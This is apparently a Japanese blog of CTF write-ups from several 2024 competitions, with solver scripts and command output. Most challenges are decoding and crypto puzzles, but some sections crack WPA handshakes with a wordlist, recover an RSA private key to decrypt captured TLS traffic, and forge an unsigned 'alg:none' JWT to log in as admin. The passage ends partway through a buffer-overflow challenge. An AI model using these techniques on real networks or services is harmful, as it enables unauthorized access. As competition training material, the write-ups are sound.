48c48
< rogue, a master of code navigating the dazzling but treacherous streets. Her cybernetic optics scanned the metropolis, seeking the                                                                                                                          
---
> rogue, a master of code navigating the dazzling but treacherous streets. Her cybernetic opticcs scanned the metropolis, seeking the                                                                                                                         
51c51
< Descending into the depths, Cipher encountered a subversive network of rebels—faces hidden behind holographic disguises. They were                                                                                                                          
---
> Descending into the depths, C1pher encountered a subversive network of rebels—faces hidden behind holographic disguises. They were                                                                                                                          
55c55
< Part 2: Binary Serendipity
---
> Part 2: Bipnary Serendipity
63c63
< the megacorps blurred, forcing her to confront the question of whether she was a pawn or a player in this electrified chessboard.                                                                                                                           
---
> the megacorps blurred, forcing her to confront the question of whhether she was a pawn or a player in this electrified chessboard.                                                                                                                          
67c67
< through alleys, each corner a dance of evasion against the mechanical pursuers. The city itself seemed alive, aiding the enforcers with                                                                                                                     
---
> through alleys, each corner a dance of 3vasion against the mechanical pursuers. The city itself seemed alive, aiding the enforcers with                                                                                                                     
70c70
< Desperate, she reached out to the rebels in the digital underground. The encrypted evidence had to be broadcasted before the enforcers                                                                                                                      
---
> Desperate, she reached out to the rebels in the digital underground. The encrrypted evidence had to be broadcasted before the enforcers                                                                                                                     
74c74
< Part 4: Neon Reckoning
---
> Part 4: Neon Reckoning5

差分のある文字を書き出す。

qu4ntum_c1ph3r5
jctf{qu4ntum_c1ph3r5}

this-is-not-the-flag-you-are-looking-for (osint)

手旗信号になっているので、解読する。

FIREPOWER
 FOR FREE
DOM

「FIREPOWER FOR FREEDOM ship type」で調べると、以下のページが見つかる。

https://www.squadronposters.com/product/uss-new-jersey-bb-62-firepower-for-freedom/#:~:text=USS%20New%20Jersey%20(BB%2D62)%20Firepower%20for%20Freedom%20poster,US%20state%20of%20New%20Jersey.
jctf{USS_New_Jersey_BB_62}

PasswordManager (bin/rev)

Ghidraでデコンパイルする。

undefined8 main(int param_1,undefined8 *param_2)

{
  int iVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;
  int iStack_4c;
  undefined8 uStack_48;
  undefined8 uStack_40;
  undefined2 uStack_38;
  byte abStack_28 [19];
  undefined uStack_15;
  long lStack_10;
  
  lStack_10 = *(long *)(in_FS_OFFSET + 0x28);
  uStack_48 = 0x164d525e4351464f;
  uStack_40 = 0x655c65487a561657;
  uStack_38 = 0x581a;
  if (param_1 == 2) {
    for (iStack_4c = 0; iStack_4c < 0x12; iStack_4c = iStack_4c + 1) {
      abStack_28[iStack_4c] = *(byte *)((long)&uStack_48 + (long)iStack_4c) ^ 0x25;
    }
    uStack_15 = 0;
    iVar1 = strncmp(abStack_28,param_2[1],0x12);
    if (iVar1 == 0) {
      puts(&UNK_00495018);
      uVar2 = 0;
    }
    else {
      puts(&UNK_0049502d);
      uVar2 = 1;
    }
  }
  else {
    printf(&UNK_00495004,*param_2);
    uVar2 = 1;
  }
  if (lStack_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

uStack_48から1文字ずつ0x25とXORすれば正しい入力文字列を算出できる。

#!/usr/bin/env python3

enc = b''
enc += (0x164d525e4351464f).to_bytes(8, 'little')
enc += (0x655c65487a561657).to_bytes(8, 'little')
enc += (0x581a).to_bytes(2, 'little')

flag = ''
for c in enc:
    flag += chr(c ^ 0x25)
print(flag)
jctf{wh3r3s_m@y@?}

substitute-detail-torrent (forensics)

$ strings Blob.wim | grep jctf
This is a testHostUrl:jctf{https://www.NTFS/File/Metadata}
jctf{https://www.NTFS/File/Metadata}

groovy (forensics)

Audacityで開き、スペクトログラムを見ると、フラグが現れた。

jctf{wav1ng_fr0m_th3_futur3}

Attn-Agents (crypto)

シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 3:
Attention JCTF agents! An unknown APT is hijacking networks to spread stealth malware using stolen source code. Your mission: track down the source of the leaks and stop the wide-spread attacks across our networks. Time is running out. The {fate-of-the-web} is in your hands!
jctf{fate-of-the-web}

adveRSAry (crypto)

n, e, qがわかっているので、通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('publicKeys', 'r') as f:
    params = f.read().splitlines()

with open('intercepted', 'r') as f:
    c = bytes_to_long(eval(f.read()))

n = int(params[1])
e = int(params[4])
q = int(params[7])
assert n % q == 0
assert c < n

p = n // q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
msg = long_to_bytes(m)
print(msg)

復号結果は以下の通り。

b'\x02\x13 \xf9=\x93\xd28uAP\x12U"\xf1\xc7\xd3R|b\xd2\x81\xe2\xd6~_\n\x14\xbb\x8e\xc4\x06\xab\t\n\xd8\x12L\xc4?\xd3\xe2\x82\xc3\x8b\xe9Kv:\x87J\xc2,j\xf6 \xfb4I=\xf8\n\xcf"\xa4\xef\xac=\xedM\xcei\t\xc4\xa6`\xc1\x9fZ\x0b\x90\xfe\x1b \xc3\x04\x15M\xdf\xce\xb26\xdf\xeeF>\xfd3\xban\xfa\xd53*\xd5\xbe\xea\x92_o\x00jctf{HAHAHA I knew you would intercept this transmission. You may have won this round, but there are many more challenges for me to best you at}'

復号したデータにフラグが含まれていた。

jctf{HAHAHA I knew you would intercept this transmission. You may have won this round, but there are many more challenges for me to best you at}

JerseyCTF IV Feeback (Feedback)

アンケートに答えたら、フラグが表示された。

jctf{tH@nks_for_aTTending_P@RT4!!!}

UNbreakable International 2024 - Individual Phase Writeup

この大会は2024/3/22 19:00(JST)~2024/3/24 19:00(JST)に開催されました。
今回は個人で参戦。結果は1314点で281チーム中56位でした。
自分で解けた問題をWriteupとして書いておきます。

safe-password (OSINT)

https://haveibeenpwned.com/Passwordsで80回以上Pwnされているものをチェックしていく。

Bubblegum123!
$ echo -n "Bubblegum123\!" | sha256sum         
fdc852bc63a266c8c38db64bef90d62d53ddeef00aa85df7b941ac780b3d75d8  -
CTF{fdc852bc63a266c8c38db64bef90d62d53ddeef00aa85df7b941ac780b3d75d8}

start-enc (Cryptography)

以下の順にデコードする。

・2進数
・base64
・ASCIIコード
・16進数
#!/usr/bin/env python3
from base64 import *

with open('encoded.txt', 'r') as f:
    enc = f.read()

enc = enc.split(' ')
msg = ''
for c in enc:
    msg += chr(int(c, 2))
print('[+]', msg)

msg = b64decode(msg).decode()
print('[+]', msg)

codes = msg.split(';')[:-1]
msg = ''
for code in codes:
    msg += chr(int(code[2:]))
print('[+]', msg)

codes = msg.split(' ')
flag = ''
for code in codes:
    flag += chr(int(code, 16))
print('[*]', flag)

実行結果は以下の通り。

[+] JiM1MzsmIzUyOyYjMzI7JiM1NDsmIzU2OyYjMzI7JiM1NDsmIzUzOyYjMzI7JiM1MDsmIzQ4OyYjMzI7JiM1NDsmIzU0OyYjMzI7JiM1NDsmIzk5OyYjMzI7JiM1NDsmIzQ5OyYjMzI7JiM1NDsmIzU1OyYjMzI7JiM1MDsmIzQ4OyYjMzI7JiM1NDsmIzU3OyYjMzI7JiM1NTsmIzUxOyYjMzI7JiM1MTsmIzk3OyYjMzI7JiM1MDsmIzQ4OyYjMzI7JiM1MjsmIzUxOyYjMzI7JiM1MzsmIzUyOyYjMzI7JiM1MjsmIzU0OyYjMzI7JiM1NTsmIzk4OyYjMzI7JiM1MTsmIzUzOyYjMzI7JiM1MTsmIzU2OyYjMzI7JiM1MTsmIzUyOyYjMzI7JiM1NDsmIzUwOyYjMzI7JiM1MTsmIzUxOyYjMzI7JiM1MTsmIzQ5OyYjMzI7JiM1MTsmIzUwOyYjMzI7JiM1NDsmIzUwOyYjMzI7JiM1NDsmIzUwOyYjMzI7JiM1MTsmIzUzOyYjMzI7JiM1NDsmIzUwOyYjMzI7JiM1NDsmIzUwOyYjMzI7JiM1MTsmIzUxOyYjMzI7JiM1MTsmIzUyOyYjMzI7JiM1MTsmIzQ4OyYjMzI7JiM1NDsmIzUzOyYjMzI7JiM1MTsmIzU3OyYjMzI7JiM1MTsmIzUyOyYjMzI7JiM1MTsmIzQ4OyYjMzI7JiM1MTsmIzU2OyYjMzI7JiM1MTsmIzUzOyYjMzI7JiM1NDsmIzUxOyYjMzI7JiM1MTsmIzUyOyYjMzI7JiM1MTsmIzUxOyYjMzI7JiM1NDsmIzQ5OyYjMzI7JiM1NDsmIzUwOyYjMzI7JiM1NDsmIzQ5OyYjMzI7JiM1MTsmIzQ4OyYjMzI7JiM1MTsmIzU0OyYjMzI7JiM1MTsmIzUxOyYjMzI7JiM1NDsmIzUxOyYjMzI7JiM1MTsmIzUzOyYjMzI7JiM1NDsmIzUwOyYjMzI7JiM1MTsmIzUzOyYjMzI7JiM1NDsmIzQ5OyYjMzI7JiM1MTsmIzU2OyYjMzI7JiM1MTsmIzU2OyYjMzI7JiM1MTsmIzQ4OyYjMzI7JiM1MTsmIzUxOyYjMzI7JiM1MTsmIzU3OyYjMzI7JiM1MTsmIzQ5OyYjMzI7JiM1MTsmIzUxOyYjMzI7JiM1MTsmIzU3OyYjMzI7JiM1MTsmIzUxOyYjMzI7JiM1NDsmIzUwOyYjMzI7JiM1NDsmIzQ5OyYjMzI7JiM1NDsmIzUzOyYjMzI7JiM1NDsmIzUxOyYjMzI7JiM1NDsmIzU0OyYjMzI7JiM1MTsmIzU1OyYjMzI7JiM1MTsmIzUxOyYjMzI7JiM1MTsmIzU1OyYjMzI7JiM1NDsmIzUyOyYjMzI7JiM1MTsmIzU2OyYjMzI7JiM1MTsmIzU1OyYjMzI7JiM1MTsmIzUwOyYjMzI7JiM1MTsmIzUyOyYjMzI7JiM1MTsmIzU0OyYjMzI7JiM1MTsmIzU0OyYjMzI7JiM1MTsmIzU3OyYjMzI7JiM1MTsmIzU0OyYjMzI7JiM1NDsmIzUxOyYjMzI7JiM1NDsmIzUwOyYjMzI7JiM1MTsmIzU1OyYjMzI7JiM1NTsmIzEwMDs=
[+] &#53;&#52;&#32;&#54;&#56;&#32;&#54;&#53;&#32;&#50;&#48;&#32;&#54;&#54;&#32;&#54;&#99;&#32;&#54;&#49;&#32;&#54;&#55;&#32;&#50;&#48;&#32;&#54;&#57;&#32;&#55;&#51;&#32;&#51;&#97;&#32;&#50;&#48;&#32;&#52;&#51;&#32;&#53;&#52;&#32;&#52;&#54;&#32;&#55;&#98;&#32;&#51;&#53;&#32;&#51;&#56;&#32;&#51;&#52;&#32;&#54;&#50;&#32;&#51;&#51;&#32;&#51;&#49;&#32;&#51;&#50;&#32;&#54;&#50;&#32;&#54;&#50;&#32;&#51;&#53;&#32;&#54;&#50;&#32;&#54;&#50;&#32;&#51;&#51;&#32;&#51;&#52;&#32;&#51;&#48;&#32;&#54;&#53;&#32;&#51;&#57;&#32;&#51;&#52;&#32;&#51;&#48;&#32;&#51;&#56;&#32;&#51;&#53;&#32;&#54;&#51;&#32;&#51;&#52;&#32;&#51;&#51;&#32;&#54;&#49;&#32;&#54;&#50;&#32;&#54;&#49;&#32;&#51;&#48;&#32;&#51;&#54;&#32;&#51;&#51;&#32;&#54;&#51;&#32;&#51;&#53;&#32;&#54;&#50;&#32;&#51;&#53;&#32;&#54;&#49;&#32;&#51;&#56;&#32;&#51;&#56;&#32;&#51;&#48;&#32;&#51;&#51;&#32;&#51;&#57;&#32;&#51;&#49;&#32;&#51;&#51;&#32;&#51;&#57;&#32;&#51;&#51;&#32;&#54;&#50;&#32;&#54;&#49;&#32;&#54;&#53;&#32;&#54;&#51;&#32;&#54;&#54;&#32;&#51;&#55;&#32;&#51;&#51;&#32;&#51;&#55;&#32;&#54;&#52;&#32;&#51;&#56;&#32;&#51;&#55;&#32;&#51;&#50;&#32;&#51;&#52;&#32;&#51;&#54;&#32;&#51;&#54;&#32;&#51;&#57;&#32;&#51;&#54;&#32;&#54;&#51;&#32;&#54;&#50;&#32;&#51;&#55;&#32;&#55;&#100;
[+] 54 68 65 20 66 6c 61 67 20 69 73 3a 20 43 54 46 7b 35 38 34 62 33 31 32 62 62 35 62 62 33 34 30 65 39 34 30 38 35 63 34 33 61 62 61 30 36 33 63 35 62 35 61 38 38 30 33 39 31 33 39 33 62 61 65 63 66 37 33 37 64 38 37 32 34 36 36 39 36 63 62 37 7d
[*] The flag is: CTF{584b312bb5bb340e94085c43aba063c5b5a880391393baecf737d87246696cb7}
CTF{584b312bb5bb340e94085c43aba063c5b5a880391393baecf737d87246696cb7}

wifibasic (Network, Wireless)

$ aircrack-ng -w /usr/share/wordlists/rockyou.txt wifibasic.cap 
Reading packets, please wait...
Opening wifibasic.cap
Read 968 packets.

   #  BSSID              ESSID                     Encryption

   1  02:00:00:00:00:00  BitSentinelRulez          WPA (1 handshake)
   2  02:00:00:00:01:00  Unbreakabl3               Unknown
   3  02:00:00:00:02:00  YetAnotherHacker          WPA (0 handshake)
   4  02:00:00:00:03:00  Unbreakable               Unknown
   5  02:00:00:00:04:00  TargetHiddenSSID          WPA (1 handshake)

Index number of target network ? 5

Reading packets, please wait...
Opening wifibasic.cap
Read 968 packets.

1 potential targets


                               Aircrack-ng 1.7 

      [00:00:00] 131/10303727 keys tested (1258.33 k/s) 

      Time left: 2 hours, 16 minutes, 28 seconds                 0.00%

                          KEY FOUND! [ tinkerbell ]


      Master Key     : 58 65 AF CE 4E 69 4C 14 DD 09 27 47 EB BD 45 EB 
                       27 9A 75 79 9C D1 4D F5 AF B6 DE 01 4D C2 A8 97 

      Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

      EAPOL HMAC     : C1 D1 C8 EC 42 1E 31 80 61 4C FF 7B 02 8F E4 19

以下を設定して、スクリプトを実行する。

BSSID = "02:00:00:00:04:00"
ESSID = "TargetHiddenSSID"
PSK = "tinkerbell"
CTF{73841584e4c011c940e91c76bf1c12a7a4850e4b3df0a27ba8a35388c316d468}

wifiland (Network, Wireless)

$ aircrack-ng -w /usr/share/wordlists/rockyou.txt wifiland.cap 
Reading packets, please wait...
Opening wifiland.cap
Read 4594 packets.

   #  BSSID              ESSID                     Encryption

   1  02:00:00:00:00:00  BitSentinelRulez          Unknown
   2  02:00:00:00:05:00  wifiland                  WPA (1 handshake)

Index number of target network ? 2

Reading packets, please wait...
Opening wifiland.cap
Read 4594 packets.

1 potential targets


                               Aircrack-ng 1.7 

      [00:00:00] 8/14344392 keys tested (27.07 k/s) 

      Time left: 6 days, 3 hours, 11 minutes, 53 seconds         0.00%

                           KEY FOUND! [ 12345678 ]


      Master Key     : 7F 76 94 BD AC D9 1E 94 22 2F 00 BD 49 CD 4D DA 
                       8B 0C 31 16 D5 28 A4 BC C8 3F 8A 40 AE 78 D7 A5 

      Transient Key  : 2F 75 56 F7 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

      EAPOL HMAC     : A6 01 F2 FA 2C BE BB F7 BC CF 3A 2D 83 A2 44 29

Wiresharkの[編集]>[設定]から[Protocols]>[IEEE 802.11]の画面を表示後、Decryption keysの編集から以下を設定し、通信パケットを復号する。

・Key type: wpa-pwd
・Key     : 12345678

パケットにARPの通信がある。

3304	2024-03-13 22:50:05.094651	02:00:00:00:13:00	Broadcast	ARP	102	Who has 93.184.216.34? Tell 10.0.3.19

以下を設定して、スクリプトを実行する。

ip_client = "10.0.3.19"
ip_target = "93.184.216.34"
CTF{b67842d03eadce036c5506f2b7b7bd25aaab4d1f0ec4b4f490f0cb19ccd45c70}

traffic-e (Cryptography, Network)

TLSの通信がほとんどなので、証明書をエクスポートし、内容を確認してみる。

$ openssl x509 -in 6.cer -text -pubkey -inform DER
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            12:6b:f1:48:8d:dc:4b:02:a8:6d:0a:77:51:ff:63:0a:75:ed:f1:14
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd, CN=Ephvuln
        Validity
            Not Before: Mar 15 11:09:16 2024 GMT
            Not After : Mar 15 11:09:16 2025 GMT
        Subject: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd, CN=Ephvuln
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1027 bit)
                Modulus:
                    07:3c:0d:c9:3d:ff:a0:26:b8:88:e0:eb:2f:da:7a:
                    c6:e1:82:a7:bc:5f:a4:39:00:d3:61:a4:42:eb:7c:
                    db:44:02:7b:31:96:76:b5:fd:37:49:1b:ce:30:8d:
                    76:e5:be:3e:a9:61:d8:7f:ff:5d:25:52:b4:34:ed:
                    8e:e6:62:a1:05:39:ea:21:f4:37:17:0d:f9:70:ef:
                    2b:6a:9b:e1:41:09:16:53:0b:83:97:b4:35:7b:f1:
                    78:85:2a:35:c9:0b:33:20:b4:93:21:3e:05:fb:00:
                    09:66:d8:9e:ba:09:25:c3:44:22:e4:80:a5:c9:17:
                    67:37:cc:98:ab:09:99:32:87
                Exponent:
                    00:97:de:37:9a:97:9d:08:04:59:a7:ab:09:b8:48:
                    ea:eb:be:83:79:ef:79:d2:5c:0b:e7:4d:24:35:a4:
                    0c:7e:11:db:51:7b:50:59:0c:fc:be:15:9d:d3:75:
                    22:1e:0f:45:d1:a0:d4:d9:a9:40:3f:fe:34:fb:1e:
                    40:2a:85:4b:41:71:6c:8e:aa:fc:0e:66:e6:f7:09:
                    e6:54:ea:e6:83:8d:69:b6:1e:b0:00:c0:a4:6d:13:
                    5c:e6:32:36:c2:76:d5:fe:26:28:48:62:97:98:e6:
                    e5:5a:f5:57:b1:0d:4e:84:67:01:22:35:ba:b0:fe:
                    5d:cf:81:d9:fb:83:2f:cb:ef
        X509v3 extensions:
            X509v3 Subject Key Identifier: 
                E0:02:07:E4:1E:35:4A:16:07:07:58:BE:65:4E:40:AA:D3:9B:BB:95
            X509v3 Authority Key Identifier: 
                E0:02:07:E4:1E:35:4A:16:07:07:58:BE:65:4E:40:AA:D3:9B:BB:95
            X509v3 Basic Constraints: critical
                CA:TRUE
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        03:01:3d:cf:26:97:63:11:a1:cf:be:5a:03:c5:2b:dc:a0:e8:
        6e:35:97:16:43:9b:4d:e0:60:6e:22:59:82:fd:49:7e:7a:ed:
        d5:6a:de:46:79:53:80:38:db:b9:03:7b:17:08:f0:f0:b3:a6:
        e1:a3:46:23:2a:0e:8a:0a:12:78:33:97:75:f2:fe:d7:6e:5c:
        51:8d:a0:11:3d:93:66:81:5c:4b:7c:29:d2:6c:49:9e:44:e8:
        89:5c:b5:09:b0:55:4e:2f:73:e9:b0:45:ea:a3:4d:b9:2e:23:
        8e:10:47:ac:ad:c5:a0:fd:98:dd:56:83:2f:75:73:0c:fd:9e:
        18:35:66
-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQc8Dck9/6AmuIjg6y/aesbh
gqe8X6Q5ANNhpELrfNtEAnsxlna1/TdJG84wjXblvj6pYdh//10lUrQ07Y7mYqEF
Oeoh9DcXDflw7ytqm+FBCRZTC4OXtDV78XiFKjXJCzMgtJMhPgX7AAlm2J66CSXD
RCLkgKXJF2c3zJirCZkyhwKBgQCX3jeal50IBFmnqwm4SOrrvoN573nSXAvnTSQ1
pAx+EdtRe1BZDPy+FZ3TdSIeD0XRoNTZqUA//jT7HkAqhUtBcWyOqvwOZub3CeZU
6uaDjWm2HrAAwKRtE1zmMjbCdtX+JihIYpeY5uVa9VexDU6EZwEiNbqw/l3Pgdn7
gy/L7w==
-----END PUBLIC KEY-----
-----BEGIN CERTIFICATE-----
MIIDDTCCAnWgAwIBAgIUEmvxSI3cSwKobQp3Uf9jCnXt8RQwDQYJKoZIhvcNAQEL
BQAwVzELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM
GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDEQMA4GA1UEAwwHRXBodnVsbjAeFw0y
NDAzMTUxMTA5MTZaFw0yNTAzMTUxMTA5MTZaMFcxCzAJBgNVBAYTAkFVMRMwEQYD
VQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBM
dGQxEDAOBgNVBAMMB0VwaHZ1bG4wggEgMA0GCSqGSIb3DQEBAQUAA4IBDQAwggEI
AoGBBzwNyT3/oCa4iODrL9p6xuGCp7xfpDkA02GkQut820QCezGWdrX9N0kbzjCN
duW+Pqlh2H//XSVStDTtjuZioQU56iH0NxcN+XDvK2qb4UEJFlMLg5e0NXvxeIUq
NckLMyC0kyE+BfsACWbYnroJJcNEIuSApckXZzfMmKsJmTKHAoGBAJfeN5qXnQgE
WaerCbhI6uu+g3nvedJcC+dNJDWkDH4R21F7UFkM/L4VndN1Ih4PRdGg1NmpQD/+
NPseQCqFS0FxbI6q/A5m5vcJ5lTq5oONabYesADApG0TXOYyNsJ21f4mKEhil5jm
5Vr1V7ENToRnASI1urD+Xc+B2fuDL8vvo1MwUTAdBgNVHQ4EFgQU4AIH5B41ShYH
B1i+ZU5AqtObu5UwHwYDVR0jBBgwFoAU4AIH5B41ShYHB1i+ZU5AqtObu5UwDwYD
VR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOBggADAT3PJpdjEaHPvloDxSvc
oOhuNZcWQ5tN4GBuIlmC/Ul+eu3Vat5GeVOAONu5A3sXCPDws6bho0YjKg6KChJ4
M5d18v7XblxRjaARPZNmgVxLfCnSbEmeROiJXLUJsFVOL3PpsEXqo025LiOOEEes
rcWg/ZjdVoMvdXMM/Z4YNWY=
-----END CERTIFICATE-----

公開鍵のパラメータは以下であることがわかる。

n = 0x073c0dc93dffa026b888e0eb2fda7ac6e182a7bc5fa43900d361a442eb7cdb44027b319676b5fd37491bce308d76e5be3ea961d87fff5d2552b434ed8ee662a10539ea21f437170df970ef2b6a9be1410916530b8397b4357bf178852a35c90b3320b493213e05fb000966d89eba0925c34422e480a5c9176737cc98ab09993287
e = 0x0097de379a979d080459a7ab09b848eaebbe8379ef79d25c0be74d2435a40c7e11db517b50590cfcbe159dd375221e0f45d1a0d4d9a9403ffe34fb1e402a854b41716c8eaafc0e66e6f709e654eae6838d69b61eb000c0a46d135ce63236c276d5fe262848629798e6e55af557b10d4e8467012235bab0fe5dcf81d9fb832fcbef

Wiener's Attackでnを素因数分解する。

#!/usr/bin/env python3
from Crypto.Util.number import *
from fractions import Fraction

def egcd(a, b):
    x, y, u, v = 0, 1, 1, 0
    while a != 0:
        q, r = b // a, b % a
        m, n = x - u * q, y - v * q
        b, a, x, y, u, v = a, r, u, v, m, n
        gcd = b
    return gcd, x, y

def continued_fractions(n,e):
    cf = [0]
    while e != 0:
        cf.append(int(n // e))
        N = n
        n = e
        e = N % e
    return cf

def calcKD(cf):
    kd = list()
    for i in range(1, len(cf) + 1):
        tmp = Fraction(0)
        for j in cf[1:i][::-1]:
            tmp = 1 / (tmp + j)
        kd.append((tmp.numerator, tmp.denominator))
    return kd

def int_sqrt(n):
    def f(prev):
        while True:
            m = (prev + n // prev) // 2
            if m >= prev:
                return prev
            prev = m
    return f(n)

def calcPQ(a, b):
    if a * a < 4 * b or a < 0:
        return None
    c = int_sqrt(a * a - 4 * b)
    p = (a + c) // 2
    q = (a - c) // 2
    if p + q == a and p * q == b:
        return (p, q)
    else:
        return None

def wiener(n, e):
    kd = calcKD(continued_fractions(n, e))
    for (k, d) in kd:
        if k == 0:
            continue
        if (e * d - 1) % k != 0:
            continue
        phin = (e * d - 1) // k
        if phin >= n:
            continue
        ans = calcPQ(n - phin + 1, n)
        if ans is None:
            continue
        return (ans[0], ans[1])

n = 0x073c0dc93dffa026b888e0eb2fda7ac6e182a7bc5fa43900d361a442eb7cdb44027b319676b5fd37491bce308d76e5be3ea961d87fff5d2552b434ed8ee662a10539ea21f437170df970ef2b6a9be1410916530b8397b4357bf178852a35c90b3320b493213e05fb000966d89eba0925c34422e480a5c9176737cc98ab09993287
e = 0x0097de379a979d080459a7ab09b848eaebbe8379ef79d25c0be74d2435a40c7e11db517b50590cfcbe159dd375221e0f45d1a0d4d9a9403ffe34fb1e402a854b41716c8eaafc0e66e6f709e654eae6838d69b61eb000c0a46d135ce63236c276d5fe262848629798e6e55af557b10d4e8467012235bab0fe5dcf81d9fb832fcbef

p, q = wiener(n, e)
print('p =', p)
print('q =', q)
print('e =', e)

実行結果は以下の通り。

p = 50762598711424764578309835161028536505017062779535728598193739021422991384075097619364837920473739477192741993467746530937273178568830967465304495915565021
q = 25620367680132110555879075164092814080992627707664402686174667544938777823227941746742946229140990674686598986153493963260846509398173854491013932770379699
e = 106645361573597107845396067866499068630105849159408665310862014583870062061704662230754284832387896920427209753236862548800746662398609212688373613186979102970308417884832531601035544107102590028211579550508699494971288803583755640940424098301425895738898909222425910339731329121362635050810847489912118168559

これで、p, qがわかり秘密鍵を生成できる。

$ rsatool.py -f PEM -o secret.pem -p 50762598711424764578309835161028536505017062779535728598193739021422991384075097619364837920473739477192741993467746530937273178568830967465304495915565021 -q 25620367680132110555879075164092814080992627707664402686174667544938777823227941746742946229140990674686598986153493963260846509398173854491013932770379699 -e 106645361573597107845396067866499068630105849159408665310862014583870062061704662230754284832387896920427209753236862548800746662398609212688373613186979102970308417884832531601035544107102590028211579550508699494971288803583755640940424098301425895738898909222425910339731329121362635050810847489912118168559
Using (p, q) to calculate RSA paramaters

n =
73c0dc93dffa026b888e0eb2fda7ac6e182a7bc5fa43900d361a442eb7cdb44027b319676b5fd374
91bce308d76e5be3ea961d87fff5d2552b434ed8ee662a10539ea21f437170df970ef2b6a9be1410
916530b8397b4357bf178852a35c90b3320b493213e05fb000966d89eba0925c34422e480a5c9176
737cc98ab09993287

e =
97de379a979d080459a7ab09b848eaebbe8379ef79d25c0be74d2435a40c7e11db517b50590cfcbe
159dd375221e0f45d1a0d4d9a9403ffe34fb1e402a854b41716c8eaafc0e66e6f709e654eae6838d
69b61eb000c0a46d135ce63236c276d5fe262848629798e6e55af557b10d4e8467012235bab0fe5d
cf81d9fb832fcbef

d =
288ab34527ecad227bd3ec9e847ca8942f388b65d3a759397c5faa9ee7ffe007

p =
3c93a69f7a213fa1a8da9903d92c278553b67525beded842fcef7bfc4884679a808f94fee5f155bf
d0c211b0d19eec38420918065cb4086ed426c543d24ec7fdd

q =
1e92dbfa3f67f1525e1fa427e571434a9dc64e05de873cce671820e83932e7d31633bd16cea7b0a4
835c70d55ff36accc6749a0c7744c8d328dd30f1af243c7b3

Saving PEM as secret.pem

このファイルをWiresharkで設定して通信を見てみる。

IPアドレス:127.0.0.1
ポート番号:4433
プロトコル:ssh

TLSストリームを見る。

whoami
root
cert.pem
flag.txt
priv.pem
server.sh
test.py
cat flag.txt
CTF{46b1d043b3d2d98a267455affce276c47a1f2bfb940881d1e9725c798373f532}
exit
CTF{46b1d043b3d2d98a267455affce276c47a1f2bfb940881d1e9725c798373f532}

LINE CTF 2024 Writeup

この大会は2024/3/23 9:00(JST)~2024/3/24 9:00(JST)に開催されました。
今回もチームで参戦。結果は101点で865チーム中236位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Misc)

問題にフラグが書いてあった。

LINECTF{6240995c64f58fe13d72d80760551344}

jalyboy-baby (Web)

「login as guest」をクリックすると、以下のURLになる。

http://34.84.28.50:10000/?j=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJndWVzdCJ9.rUKzvxAwpuro6UF6KETwbMPCLBsPGUScjSEZtQGjfX4
$ echo eyJhbGciOiJIUzI1NiJ9 | base64 -d        
{"alg":"HS256"}

$ echo eyJzdWIiOiJndWVzdCJ9 | base64 -d
{"sub":"guest"}

adminのtokenを作成する。

$ echo -n '{"alg":"none"}' | base64 
eyJhbGciOiJub25lIn0=

$ echo -n '{"sub":"admin"}' | base64                                       
eyJzdWIiOiJhZG1pbiJ9

以下のURLにアクセスすると、フラグが表示された。

http://34.84.28.50:10000/?j=eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.
LINECTF{337e737f9f2594a02c5c752373212ef7}

WolvCTF 2024 Writeup

この大会は2024/3/16 8:00(JST)~2024/3/18 8:00(JST)に開催されました。
今回もチームで参戦。結果は4409点で622チーム中36位でした。
自分で解けた問題をWriteupとして書いておきます。

Crypto: TwoTimePad (Beginner)

eFlag.bmpもeWolverine.bmpの55バイト目以降をXORしてBMP画像にする。復号した画像にフラグが書いてあった。

#!/usr/bin/env python3
with open('eWolverine.bmp', 'rb') as f:
    eWolverine = f.read()

with open('eFlag.bmp', 'rb') as f:
    eFlag = f.read()

flag = eFlag[:55]
for i in range(55, len(eFlag)):
    flag += bytes([eFlag[i] ^ eWolverine[i]])

with open('flag.bmp', 'wb') as f:
    f.write(flag)

wctf{D0NT_R3CYCLE_K3Y5}

Crypto: yORs Truly <3 (Beginner)

plaintextの先頭を鍵としてciphertext_decodedをXORで復号する。

#!/usr/bin/env python3
import base64

plaintext = b"A string of text can be encrypted by applying the bitwise XOR operator to every character using a given key"
ciphertext_decoded = base64.b64decode("NkMHEgkxXjV/BlN/ElUKMVZQEzFtGzpsVTgGDw==")

flag = b""
for i in range(len(ciphertext_decoded)):
    flag += bytes([plaintext[i] ^ ciphertext_decoded[i]])
flag = flag.decode()
print(flag)
wctf{X0R_i5_f0rEv3r_My_L0Ve}

Pwn: babypwn (Beginner)

BOFで任意の32バイトの後に"A"を4バイト指定すれば、フラグが得られる。

$ nc babypwn.wolvctf.io 1337
